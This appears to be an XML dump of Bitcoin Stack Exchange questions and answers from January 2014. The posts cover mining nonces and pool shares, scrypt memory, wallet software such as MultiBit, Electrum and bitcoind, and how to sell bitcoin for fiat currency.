  <row Id="20138" PostTypeId="2" ParentId="20137" CreationDate="2014-01-08T20:35:44.937" Score="1" Body="&lt;p&gt;It's actually called a &lt;a href=&quot;http://en.wikipedia.org/wiki/Cryptographic_nonce&quot; rel=&quot;nofollow&quot;&gt;&quot;nonce&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a &lt;a href=&quot;https://en.bitcoin.it/wiki/Nonce&quot; rel=&quot;nofollow&quot;&gt;32-bit number&lt;/a&gt; so is maxed at &lt;code&gt;2**32&lt;/code&gt; or &lt;code&gt;4294967296&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the hash and data given are valid, you can always hash the block header data to get the same block hash.  If anything is changed, including the nonce, the hash will change, invalidating the block (header).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each valid nonce is dependent upon the data being hashed and the target difficulty according to the protocol.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-01-08T20:42:02.223" LastActivityDate="2014-01-08T20:42:02.223" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20140" PostTypeId="1" AcceptedAnswerId="20142" CreationDate="2014-01-08T21:13:36.567" Score="4" ViewCount="13951" Body="&lt;p&gt;Specifically this question is about Litecoin, but I suspect the answer would apply to both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say you have a rig mining at 700Kh/s (LTC). It seems that you get, more or less, a one or a few accepted shares per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is that when mining, you're iterating through 0 to ~ 4 billion for your nonce. One of those nonce's is the number you're looking for and will result in an accepted share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On average, you'd expect to solve for the correct nonce in about 2 billion tries. But, if you're only mining at 700Kh/s, the math doesn't add up. If you're only trying 700,000 nonces per second, it will take about 45 minutes to find the right nonce.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here?&lt;/p&gt;&#xA;" OwnerUserId="4580" LastEditorUserId="5406" LastEditDate="2016-04-17T20:09:37.910" LastActivityDate="2016-04-17T20:09:37.910" Title="What is the relationship between hash rate and accepted shares?" Tags="|mining-pools|litecoin|hash|mining-pool-shares|nonce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20141" PostTypeId="2" ParentId="20137" CreationDate="2014-01-08T21:26:36.113" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;But how large can the salt be?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is &lt;code&gt;unsigned int&lt;/code&gt; (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/df840de5daef60a253e4d84d14ff72bb7188a6c0/src/miner.cpp&quot; rel=&quot;nofollow noreferrer&quot;&gt;source&lt;/a&gt;, look for &lt;code&gt;ScanHash_CryptoPP&lt;/code&gt; and &lt;code&gt;nNonce&lt;/code&gt; variable there). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The range of the salt (nonsense) is: 0 to 2^32.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Couldn't I just [...] to get a new salt [...] to find a suitable output [...]?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No, you couldn't. The problem is that a cryptographic hash function, such as SHA256, must have statistically significant uniform distribution. Such distribution results in an &lt;a href=&quot;https://en.wikipedia.org/wiki/Avalanche_effect&quot; rel=&quot;nofollow noreferrer&quot;&gt;avalanche effect&lt;/a&gt;. In simple words, if you change just a &lt;em&gt;single&lt;/em&gt; bit in the input, &lt;em&gt;each&lt;/em&gt; of the output bits will change with a 50% chance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It means that you mathematically cannot tweak an input, to get a desired output. You cannot predict which salt will result in the correct output. Your only choice is to try-check. Have a look at the &quot;manual mining&quot; demoed in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8033/11862&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11862" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-01-08T21:26:36.113" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20142" PostTypeId="2" ParentId="20140" CreationDate="2014-01-08T21:30:49.137" Score="3" Body="&lt;p&gt;There really isn't one when you are pool mining. Most pools these days use VarDiff to achieve the same number of shares per minute by changing your workers difficulty. Now, on a low end mining rig (lets say 20 kh/s) the number of shares accepted may vary greatly as you may have some great luck with your share or it may be bad luck. So as long as you have a &quot;sane&quot; level of hashing power you shouldn't see (m)any trends/changes (as long as the pool+VarDiff is properly set up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, when you are first connecting to VarDiff enabled pools you will start at a diff of 1, then it will adjust over a period of time to achieve a share per minute rate that was defined by the pool op.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source: Me, I'm a pool-op&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;EDIT&lt;/em&gt;&#xA;At one time, the number of shares you submitted directly related to your hashrate, the more accepted shares, the faster you were hashing. AsicMiner products still use the protocol originally used by pools (and bitcoind) called &quot;getwork&quot;. Most notable of the pool servers used at that time is pushpool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With VarDiff you don't have the ability to calculate by the number of shares submitted. So you now calculate the hashrate based on the difficulty of the share submitted. I personally have found that when the hashrate calculation based purely on the number of shares submitted is slightly weighed in with your hashrate calculation based on the difficulty of the share submitted, the user's hashrate you calculate is more accurate than you would have if you calculated the hashrate purely on the difficulty of the submitted share.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="5651" LastEditDate="2014-01-09T03:28:02.880" LastActivityDate="2014-01-09T03:28:02.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20143" PostTypeId="2" ParentId="20114" CreationDate="2014-01-08T21:41:08.287" Score="1" Body="&lt;p&gt;No. That's a &lt;code&gt;printf&lt;/code&gt; statement, so you will only prevent the printing, not the actual destruction.&lt;/p&gt;&#xA;" OwnerUserId="11761" LastActivityDate="2014-01-08T21:41:08.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20144" PostTypeId="1" AcceptedAnswerId="20159" CreationDate="2014-01-08T21:49:20.547" Score="1" ViewCount="111" Body="&lt;p&gt;One &lt;a href=&quot;http://bitzillions.com/satoshibones/rules&quot; rel=&quot;nofollow&quot;&gt;satoshi bones rule&lt;/a&gt; states:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SHARED WALLETS WILL NOT WORK CORRECTLY.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is a shared wallet? Why would shared wallets not work correctly with satoshi bones?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2014-01-09T03:44:12.783" Title="&quot;Shared wallets will not work correctly.&quot;" Tags="|wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20145" PostTypeId="2" ParentId="20140" CreationDate="2014-01-08T22:23:49.413" Score="1" Body="&lt;p&gt;&quot;One of those nonce's is the number you're looking for and will result in an accepted share.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumption is wrong. All you need to ensure is that your hash is below target (and the target is based on difficulty). So you might hit a block which has no nonce that would give a hash below target, and you might hit a block for which every nonce would give a valid share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if, for example, your target is 0x0FFFFFFFF..., then on average 1 in 16 hashes will result in a valid share. And if your target is 0x0000000000000000FFFF..., for example, then you'll probably need to run the loop multiple times to hit a block.&lt;/p&gt;&#xA;" OwnerUserId="11963" LastActivityDate="2014-01-08T22:23:49.413" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20146" PostTypeId="1" CreationDate="2014-01-08T22:42:53.503" Score="3" ViewCount="60989" Body="&lt;p&gt;I have recently joined free bitcoin and opened an account on Blockchain.info. I have studied the FAQ, but still I am not sure about how to transfer to PayPal and am unable to understand if I can withdraw directly to my PayPal account or whether I need an exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this is a very new currency, I am not sure how to transfer my bitcoins in to my paypal account or in my Indian bank account,and please let me know the minimum withdrawal limit.&lt;/p&gt;&#xA;" OwnerUserId="11964" LastEditorUserId="5406" LastEditDate="2016-12-20T09:21:50.350" LastActivityDate="2016-12-20T09:21:50.350" Title="How to transfer bitcoins to my Indian bank or PayPal account?" Tags="|paypal|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20147" PostTypeId="2" ParentId="20129" CreationDate="2014-01-08T23:04:19.180" Score="2" Body="&lt;p&gt;According to the &lt;a href=&quot;https://lamassu.is/#specs&quot; rel=&quot;nofollow&quot;&gt;website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The machine will be smash and grab resistant. It is not meant for&#xA;  unattended or outdoor use, but it will have thick metal mounting&#xA;  plates, a dual locking system and an internal strong box for the cash.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to this &lt;a href=&quot;http://bluenotetechblog.com/?s=lamassu&quot; rel=&quot;nofollow&quot;&gt;site&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The outer casing is a custom steel case made in Portugal. There’s a&#xA;  Protec cylinder lock holding it closed. Inside, there’s yet another&#xA;  steel case and another Protec lock. The tablet that runs the software&#xA;  has no open ports, and all outgoing connections are via https.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9591" LastActivityDate="2014-01-08T23:04:19.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20148" PostTypeId="1" CreationDate="2014-01-08T23:21:52.600" Score="4" ViewCount="2390" Body="&lt;p&gt;I saw in some places that Scrypt uses a lot of memory, therefore a good supply of system RAM is needed to hash with it. however, I saw in other places stating that is ONLY uses L2 Memory.&#xA;which one does it use?&lt;/p&gt;&#xA;" OwnerUserId="6838" LastActivityDate="2014-01-09T11:06:57.757" Title="how does Scrypt use memory?" Tags="|litecoin|scrypt|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20149" PostTypeId="1" CreationDate="2014-01-08T23:32:23.633" Score="1" ViewCount="105" Body="&lt;p&gt;Bitcoind, what is the command to see how many btc is available combined in all wallets?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="132" LastEditDate="2014-01-13T14:01:27.817" LastActivityDate="2014-01-13T14:01:27.817" Title="Bitcoind, what's the command to see available funds?" Tags="|bitcoind|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-11T02:31:40.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="20150" PostTypeId="2" ParentId="20148" CreationDate="2014-01-08T23:37:53.140" Score="3" Body="&lt;p&gt;The amount of memory that scrypt uses can be adjusted to get the desired behavior. If a particular CPU has enough L2 memory to hold all that's needed for a particular scrypt use case, then the performance of system memory will not be relevant. Scrypt-based coins can increase the memory requirements dynamically as one way of increasing the mining difficulty.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-01-08T23:37:53.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20152" PostTypeId="2" ParentId="20149" CreationDate="2014-01-08T23:51:12.903" Score="1" Body="&lt;p&gt;&lt;code&gt;bitcoind getinfo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Bitcoin daemon supports just one wallet, not multiple.&lt;/p&gt;&#xA;" OwnerUserId="11426" LastActivityDate="2014-01-08T23:51:12.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20153" PostTypeId="2" ParentId="20146" CreationDate="2014-01-08T23:54:00.630" Score="1" Body="&lt;p&gt;Bitcoins cannot be &quot;transferred&quot; to any fiat currency or any bank account. If you need to liquidify your bitcoins and you want to get fiat currency in exchange, you can sell your bitcoins in Bitcoin exchanges. Alternative is that you directly spend bitcoins on bought products and services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to store your bitcoins &lt;a href=&quot;http://bitcoin.org/en/choose-your-wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;you can create your own local Bitcoin wallet independent of online bitcoin services&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No financial institution will touch bitcoins. In fact, most banks and PayPal are openly hostile towards anything having word &quot;bitcoin&quot; on it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://localbitcoins.com/country/IN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Good options to sell your bitcoins in India is LocalBitcoins where you can sell bitcoins online, or on the street with cash&lt;/a&gt;. Be aware that &lt;a href=&quot;https://bitcoin.stackexchange.com/a/19710/5464&quot;&gt;there are some risks, and those risks are especially  when selling bitcoins on PayPal&lt;/a&gt;. Unless you are professional you should not be doing Bitcoin sells on PayPal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would do is that I would transfer my bitcoins to LocalBitcoins trade wallet, pick a trader with high reputation (so him/her can be trusted) from LocalBitcoins &quot;Sell bitcoins online&quot; list and make an offer to sell my bitcoins using Indian bank transfer.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-01-08T23:54:00.630" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20156" PostTypeId="2" ParentId="4516" CreationDate="2014-01-09T02:13:34.583" Score="0" Body="&lt;p&gt;I also use p2pool to do merged mining. I have searched the code extensively and do not believe it is possible to mine to an address. Instead, as another answerer suggested, the block reward goes to the default account associated with your namecoind.&lt;/p&gt;&#xA;" OwnerUserId="10654" LastActivityDate="2014-01-09T02:13:34.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20157" PostTypeId="1" CreationDate="2014-01-09T02:43:22.323" Score="1" ViewCount="30" Body="&lt;p&gt;even with 13 active connections, the blockchain seems to be downloading at an unreasonably slow rate. considering the large amount of traffic, the sooner the sync the better as it's possible that it will grow by a lot while I'm still downloading. &#xA;my provider seems to slow the internet whenever something peer-to-peer is happening(certain video games,etc) so the fact that it's such a large file downloaded over P2P is also a  concern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to simply store coins I get today and in the future, not look at all the non-existent past ones. while multibit does this for bitcoin, I can't find a similar app for Litecoins.&lt;/p&gt;&#xA;" OwnerUserId="6838" LastActivityDate="2014-01-09T02:43:22.323" Title="can I download the litecoin blockchain from the webbrowser?" Tags="|wallet|litecoin|" AnswerCount="0" CommentCount="0" ClosedDate="2014-02-04T05:50:26.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="20158" PostTypeId="1" CreationDate="2014-01-09T03:06:15.363" Score="2" ViewCount="506" Body="&lt;p&gt;This is regarding using cpuminer v2.3.2 to do Litecoin mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently upgraded my minerd from version 2.2.3 to 2.3.2  on both my win7(x64) and Ubuntu(x86) machines. Using the old version, minerd would run using  a &quot;cfg.json&quot; file by default if it was present or you could specify one with &quot;-c myCfg.json&quot;. Now with the new version, it no longer &quot;sees&quot; or parses the config file even if it is explicitly told to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get 2.3.2 to run I had to specify all parameters directly on the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is: has cpuminer changed its use of the old JSON format or is there a bug in that component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Win7, I now resort to a batch file for each mining site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="11968" LastEditorUserId="5406" LastEditDate="2016-04-24T12:28:47.863" LastActivityDate="2016-04-24T12:28:47.863" Title="Is CPUMINER's use of JSON files broken?" Tags="|mining-pools|json-rpc|litecoin|cpuminer|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T20:52:35.580" ContentLicense="CC BY-SA 3.0" />
  <row Id="20159" PostTypeId="2" ParentId="20144" CreationDate="2014-01-09T03:44:12.783" Score="1" Body="&lt;p&gt;A shared wallet is often what online services and exchanges often use. They aren't fully functional wallets, and rely on a backend service to manage funds across users, this is the &quot;sharing&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you can't send from a shared address is because shared wallets only allow 1-way transactions due to technical limits. Satoshi Bones sends back bitcoins to the address it receives from after betting from what I'm assuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're using a shared wallet if your sending from an exchange, Coinbase, and most online wallets or websites. The only web wallet that is not a shared wallet that I know is blockchain.info. Else just use wallets you install like Bitcoin-qt, Armory, or Electrum. I recommend Electrum.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-09T03:44:12.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20160" PostTypeId="1" CreationDate="2014-01-09T04:03:39.287" Score="1" ViewCount="194" Body="&lt;p&gt;Ok guys now i'm having a new problem. I'm trying to send my bitcoins to another wallet and I keep getting this error message saying &quot;Validation error&quot;. The bitcoins are in my wallet and my transaction has been confirmed for a week now. But I can't send my bitcoins. Help?&lt;/p&gt;&#xA;" OwnerUserId="11940" LastActivityDate="2014-01-09T04:03:39.287" Title="Multibit validation error message" Tags="|transactions|wallet|address|multibit|error|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20162" PostTypeId="1" CreationDate="2014-01-09T04:49:18.233" Score="2" ViewCount="461" Body="&lt;p&gt;I am just wondering whether it is legal to trade bitcoins in the US just like we do for stocks? I see similar legal questions about selling OTC, but I am more interested in buying and selling in well known exchanges like coinbase/mtgox etc. Can I just trade them like normal stocks, as long as I pay taxes? Or do I need to register with FinCEN to trade?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="132" LastEditDate="2014-01-13T13:07:25.217" LastActivityDate="2014-06-11T06:15:25.600" Title="Is it legal to trade bitcoins on coinbase/mtgox in the US?" Tags="|legal|taxes|usa|financial-regulations|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20163" PostTypeId="1" AcceptedAnswerId="20604" CreationDate="2014-01-09T06:18:35.793" Score="5" ViewCount="2238" Body="&lt;p&gt;When using a paper wallet as watch only  via block chain.info and you send partial amounts out from it. Where does the change go? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've read you can lose all your coins if the client doesn't handle change properly. What's a scenario that could lead that to happen? Which apps don't handle change properly?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="132" LastEditDate="2014-01-13T14:33:11.550" LastActivityDate="2014-05-27T21:39:08.427" Title="Where does the change go in blockchain.info when using a paper wallet?" Tags="|blockchain.info|paper-wallet|change|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20166" PostTypeId="1" CreationDate="2014-01-09T08:54:16.570" Score="1" ViewCount="2820" Body="&lt;p&gt;I got the the new MB &lt;a href=&quot;http://www.asrock.com/mb/Intel/H87M/?cat=Specifications&quot; rel=&quot;nofollow&quot;&gt;http://www.asrock.com/mb/Intel/H87M/?cat=Specifications&lt;/a&gt; which comes with &lt;strong&gt;Qualcomm Atheros AR8171 Lan&lt;/strong&gt;, and unfortunately BAMT 1.2 does not have a driver for it included. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does exists the way to install the missing driver, does the driver exists at all? I'm totally new to Linux and don't know even how to open command line in BAMT.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use USB boot image from: &lt;a href=&quot;https://litecointalk.org/index.php?topic=2924.0&quot; rel=&quot;nofollow&quot;&gt;https://litecointalk.org/index.php?topic=2924.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there no option to install the driver, can I use USB to LAN adapter without additional headaches, or I will need to install the driver to?&lt;/p&gt;&#xA;" OwnerUserId="11974" LastEditorUserId="1891" LastEditDate="2014-01-10T00:35:21.850" LastActivityDate="2014-02-01T06:36:15.733" Title="BAMT Lan - Qualcomm Atheros AR8171" Tags="|network|bamt|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20168" PostTypeId="1" AcceptedAnswerId="20199" CreationDate="2014-01-09T10:11:44.760" Score="0" ViewCount="1037" Body="&lt;p&gt;I'm running Debian &amp;amp; Ubuntu and I've been using &lt;a href=&quot;https://gist.github.com/ErikBjare/8332003&quot; rel=&quot;nofollow&quot;&gt;this script&lt;/a&gt; running in a terminal for a while but I find I easily get obsessed with the price. Instead I'd rather get, say hourly, desktop notifications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to do this?&lt;/p&gt;&#xA;" OwnerUserId="11498" LastEditorUserId="11498" LastEditDate="2014-01-09T13:29:25.880" LastActivityDate="2014-01-09T18:45:34.980" Title="Hourly price notifications on Linux" Tags="|linux|exchange-rate|tools|" AnswerCount="2" CommentCount="3" ClosedDate="2014-02-09T21:15:21.650" ContentLicense="CC BY-SA 3.0" />
  <row Id="20169" PostTypeId="2" ParentId="20168" CreationDate="2014-01-09T10:34:07.237" Score="0" Body="&lt;p&gt;Assuming your script is called &lt;code&gt;btce_ticker.sh&lt;/code&gt;, the following line would do it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while true; do btce_ticker.sh; sleep 3600; done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;sleep 3600&lt;/code&gt; sleeps for an hour before looping around and running the script again.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-09T10:34:07.237" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20170" PostTypeId="2" ParentId="20148" CreationDate="2014-01-09T11:06:57.757" Score="2" Body="&lt;p&gt;Litecoin use scrypt with 128 KB of memory (&lt;a href=&quot;http://en.wikipedia.org/wiki/Scrypt#Litecoin_proof-of-work&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;), therefore it can be stored in the CPU cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scrypt is a sequential memory-hard hash function. You can tell it, how much memory it should use to generate a hash. You can even tell it to use GBs, in fact. The problem is, you always need that much memory to verify a hash. This will make hardware very expensive and the generation rate will be much lower.&lt;/p&gt;&#xA;" OwnerUserId="11862" LastActivityDate="2014-01-09T11:06:57.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20171" PostTypeId="2" ParentId="16673" CreationDate="2014-01-09T12:29:59.990" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://cryptothrift.com&quot; rel=&quot;nofollow&quot;&gt;cryptothrift.com&lt;/a&gt; is a good site to look at as an alternative to bitmit. They also support Litecoin and other alts as an option&lt;/p&gt;&#xA;" OwnerUserId="11978" LastActivityDate="2014-01-09T12:29:59.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20172" PostTypeId="1" CreationDate="2014-01-09T12:49:52.413" Score="4" ViewCount="7982" Body="&lt;p&gt;There are some payment processors such as BIPS, BitPagos, BTCMerch, and a few more like them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In detail, what do I require to get a website like that going?&lt;/p&gt;&#xA;" OwnerUserId="11937" LastEditorUserId="5406" LastEditDate="2015-02-17T10:43:16.217" LastActivityDate="2023-02-20T20:07:10.970" Title="How to make a payment processor like Bitpay?" Tags="|payment-processors|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20173" PostTypeId="1" CreationDate="2014-01-09T13:32:47.427" Score="0" ViewCount="573" Body="&lt;p&gt;I know the maximum transaction size for a BLOCK is 250,000 bytes. My question is a little different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a recommended transaction size for best selection of the transaction by pools? For example say I have 500,000 bytes of transaction to send over the network. How should I chunk those transactions? 50,000 byte transactions? 10,000 byte transactions?&lt;/p&gt;&#xA;" OwnerUserId="2028" LastActivityDate="2014-07-09T23:13:12.667" Title="Recommended Transaction Size" Tags="|transactions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20174" PostTypeId="1" AcceptedAnswerId="20177" CreationDate="2014-01-09T13:38:21.627" Score="8" ViewCount="23726" Body="&lt;p&gt;So, MultiBit is not updating the transactions in my wallet, I can see the transactions in the blockchain etc, so the money is there but its just not quite working...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm hoping to load that wallet with another client, and have been looking at Electrum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read another post on here but it seems to be for an older version and while it tells you how to export keys, which I've done, I can't work out how to import it in to Electrum properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out?&lt;/p&gt;&#xA;" OwnerUserId="11979" LastActivityDate="2022-12-17T07:36:45.680" Title="Export wallet from Multibit to Electrum" Tags="|wallet|multibit|electrum|" AnswerCount="6" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20175" PostTypeId="2" ParentId="20174" CreationDate="2014-01-09T14:19:36.213" Score="1" Body="&lt;p&gt;You can try to get Multibit back up and running again by resetting the blockchain/transactions:&lt;br&gt;&#xA;&lt;a href=&quot;https://multibit.org/en/help/v0.5/help_resetBlockchain.html&quot; rel=&quot;nofollow&quot;&gt;https://multibit.org/en/help/v0.5/help_resetBlockchain.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open MultiBit and make sure the wallet you are interested in is selected in the 'Wallets Wallets' side panel.&lt;/li&gt;&#xA;&lt;li&gt;Go the 'Tools | Reset Reset Blockchain and Transactions' menu option.&lt;/li&gt;&#xA;&lt;li&gt;This brings up a new screen. To reset the selected wallet click the 'Reset Reset blockchain and transactions' button.&lt;/li&gt;&#xA;&lt;li&gt;MultiBit will start reloading the blockchain. This can take some time. Just let it run and download the blockchain. When it is finished, your wallet should reflect what is on the blockchain.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I started using multibit and had some problems unfortunately ... was able to get my coins out using this method (had to reset it several times, truth be told).&lt;/p&gt;&#xA;" OwnerUserId="9364" LastActivityDate="2014-01-09T14:19:36.213" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20176" PostTypeId="2" ParentId="20172" CreationDate="2014-01-09T14:27:18.987" Score="1" Body="&lt;p&gt;The easiest thing you could do, is just consider running an instance of bitcoind:&lt;br&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoind&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Bitcoind&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this, you can programmatically control the creation of wallets, addresses, and send/verify transactions ... the basis of a service such as bitpay. If you want to get a bit closer to the metal, you could look at using something like libbitcoin (which is what the guys at darkwallet are using):&lt;br&gt;&#xA;&lt;a href=&quot;http://libbitcoin.dyne.org/&quot; rel=&quot;nofollow&quot;&gt;http://libbitcoin.dyne.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you will have to know what you're doing when it comes to computer security, as running these on an unsecured server could result in a hacker stealing all of your funds.&lt;/p&gt;&#xA;" OwnerUserId="9364" LastActivityDate="2014-01-09T14:27:18.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20177" PostTypeId="2" ParentId="20174" CreationDate="2014-01-09T14:27:51.770" Score="3" Body="&lt;p&gt;Multibit creates addresses using compressed private key, while Electrum uses uncompressed private keys. You can't decompress key - it will change public address, not allowing you to use your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check first letter of your exported private key from Electrum. If first letter is K or L, it's compressed. If it's 5, you have uncompressed private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Easiest way to change programs is to create new wallet in Electrum and send your coins to new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't send it from Multibit, because it's broken, install bitcoin-qt (it supports compressed private keys). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To import private key with bitcoin-qt:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Close bitcoin-qt&lt;/li&gt;&#xA;&lt;li&gt;Open console (press start &gt; type &quot;cmd&quot;)&lt;/li&gt;&#xA;&lt;li&gt;cd C:\Program Files (x86)\Bitcoin\daemon&lt;/li&gt;&#xA;&lt;li&gt;bitcoind.exe --deamon&lt;/li&gt;&#xA;&lt;li&gt;Open another console&lt;/li&gt;&#xA;&lt;li&gt;cd C:\Program Files (x86)\Bitcoin\daemon&lt;/li&gt;&#xA;&lt;li&gt;bitcoind importprivkey 5Jvhv9N8BHYAp9Uowvz28fvaqjeiHC3FcEb9p6X2SncnhnHUVyQ test3 false&lt;/li&gt;&#xA;&lt;li&gt;if there is no error, close both consoles and open bitcoin-qt and synchronize&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There are probably more/better tutorials how to import private key to bitcoin-qt. Important thing is - you can't import compressed private key to program that doesn't support compressed private keys (like Electrum).&lt;/p&gt;&#xA;" OwnerUserId="11980" LastActivityDate="2014-01-09T14:27:51.770" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
